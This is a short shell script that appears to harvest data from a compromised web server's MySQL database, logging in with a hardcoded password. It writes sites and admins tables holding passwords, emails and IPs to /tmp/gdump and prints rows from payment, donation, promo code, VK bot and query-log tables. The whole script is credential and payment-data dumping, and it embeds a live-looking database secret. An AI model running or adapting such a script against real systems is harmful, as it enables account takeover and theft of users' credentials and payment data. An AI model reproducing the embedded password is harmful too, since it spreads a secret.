D=/tmp/gdump
echo '== SITES =='
mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -e "SELECT id,domain,password,email,block,ipreg,timeadd FROM sites;" 2>/dev/null > $D/creds_sites.txt; cat $D/creds_sites.txt
echo '== ADMINS =='
mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -e "SELECT aid,login,password,access,ip,presql FROM admins;" 2>/dev/null > $D/creds_admins.txt; cat $D/creds_admins.txt
echo '== WORLDKASSA (payments) =='
mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -e "SELECT * FROM worldkassa;" 2>/dev/null | head -20
echo '== DONATION =='
mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -e "SELECT * FROM donation;" 2>/dev/null | head -20
echo '== PROMOCODES =='
mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -e "SELECT * FROM promocodes;" 2>/dev/null | head -20
echo '== VK_BOT =='
mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -e "SELECT * FROM vk_bot;" 2>/dev/null | head -20
echo '== PRESQL logged queries =='
mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -e "SELECT * FROM _presql;" 2>/dev/null | head -20
